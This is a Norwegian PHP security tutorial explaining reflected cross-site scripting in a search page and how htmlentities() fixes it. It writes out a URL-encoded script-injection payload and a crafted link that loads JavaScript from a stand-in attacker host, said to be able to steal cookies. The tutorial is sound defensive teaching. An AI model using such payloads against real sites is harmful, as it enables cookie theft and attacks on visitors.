PHP-Sikkerhet del 1

Cross-site scripting (XSS) er en av de mest vanligste angrep på nettet. Det er svakheter ved en nettside som blir benyttet til å kjøre ondsinnede kode via en enkel link. Offeret blir (i de fleste tilfeller) personen som klikker på linken. Det er ingen trussel for nettstedet direkte, det er også grunnen til at det blir oversett så lett. Lær hvordan du unngår slike feller på dine egne websider.

Det hele går ut på hvordan du behandler informasjonen som kommer fra klienten. Løsningen på problemet er veldig enkelt, alt du trenger å gjøre er å ha bedre kontroll på hvor data kommer fra, og hvor det skal sendes. Ut i fra disse opplysningene kan du vurdere hva du skal gjøre med de før du benytter dem. Vi skal se på et eksempel der sikkerhet ikke har vært prioritert.

Hvordan et sikkerhetshull oppstår

I det siste har vi funnet flere søkemotorer på flere websider med XSS-hull, derfor blir det naturlig å bruke et eksempel på en søkemotor. Her har vi en del av slutten på koden, der XSS kan oppstå:

echo "Du søkte etter: " . $_GET[‘search’];

Se for deg at brukeren (klienten) søker etter:
%E6%F8%E5%22%3E%3Cscript+src%3Dhttp%3A%2F%2Fbrokmaker.side.no%2Fscript.js%3E%3C%2Fscript%3E

Dette blir tatt imot av serveren og behandlet som:
<script src=http://brokmaker.side.no/script.js>

Søkemotoren finner så klart ingenting av dette, og serveren returnerer "Du søkte etter: <script src=http://brokmaker.side.no/script.js>" til klienten. Nettleseren leser JavaScript koden som alt annet som kommer fra serveren. Man regner jo selvsagt med at det er webutviklerens koder som kommer fra serveren, og ikke noen andres koder. Men så feil kan man altså ta, nettleseren kjører JavaScriptet fra bråkmakerens server som om det var webutviklerens hensikt.

I praksis kan denne bråkmakeren kopiere adressen:

http://sikkert.nettsted.no/sok.php?search=
%E6%F8%E5%22%3E%3Cscript+src%3Dhttp%3A%2F%2Fbrokmaker.side.no%2Fscript.js%3E%3C%2Fscript%3E

…og gi den til en annen, som vet at adressen peker til en side han stoler på (http://sikkert.nettsted.no), og gi han en liten "overaskelse". JavaScriptet som blir kjørt fra "http://brokmaker.side.no/&quot; kan eksempelvis anskaffe seg brukerens cookies, utnytte sikkerhetshull i nettleseren eller andre skumle ting mot offeret som trykker på linken, uten at vedkommende vet om det.

Tett sikkerhetshullet

For å tette sikkerhetshullet må vi unngå at klienten får returnert koder og annet dill som kommer fra GET eller POST metoden. Her skal det ikke mer til enn å bruke htmlentities() til å konventere bl.a. < og > om til &lt; og &gt;, slik at nettleseren ikke leser søketeksten som kode, men vanlig tegnkode:

echo "Du søkte etter: " . htmlentities($_GET[‘search’]);

Dersom brukeren prøver å skrive det samme JavaScriptet som i det første eksempelet, så blir det automatisk konventert til harmløs tekst:
&lt;script src=http://brokmaker.script.no/farlig.js&gt;

Dermed har vi fjernet muligheten for XSS i PHP-scriptet og sikrer at klienten får den koden som han i utgangspunket skal få (din kode), og ikke andres koder (som f.eks. HTML og JavaScript).

Bedre oversikt – bedre sikkerhet

Dersom du skal jobbe med større prosjekter som innebærer mer kode, så kan det bli vanskelig å ha kontroll over alle variablene. Noen variabler blir printet ut sammen med HTML uten at du helt vet hvor dataene i variablene kommer fra, eller om de er filtrerte eller ikke. Du kan så klart lete gjennom all koden å se om du kan finne ut hvor den kommer fra og alt det der, men det vil jeg ikke anbefale, da det tar unødvendig lang tid og skaper dårlig oversikt.

Vi kan få bedre oversikt over variablene ved å plassere data som vi vet er sikre i et eget array som avslører hvor det er ment til å ende opp.

$html[‘search’] = htmlentities($_GET[‘search’]);
echo "Du søkte etter: " . $html[‘search’];

Vi vet nå at $html[‘search’] inneholder tekst som trygt kan sendes til klienten sammen med vår egen HTML kode. Det vet vi fordi vi bare legger tekst som er behandlet av htmlentities() i $html arrayet (en regel som utvikleren selv må følge). Det blir også enklere å bruke variablene opp igjen senere i koden, uten å være spesielt usikker på om den kan inneholde fremmede koder.

Les mer om XSS i wikipedia

Produkttest: Fitbit Charge 4

Fitbit har kanskje ikke oppdatert utseende på sin nyeste Charge, men det er innsiden som teller, som de sier og der har det skjedd ting. Det amerikanske selskapet ble kjøpt av Google for 2,1...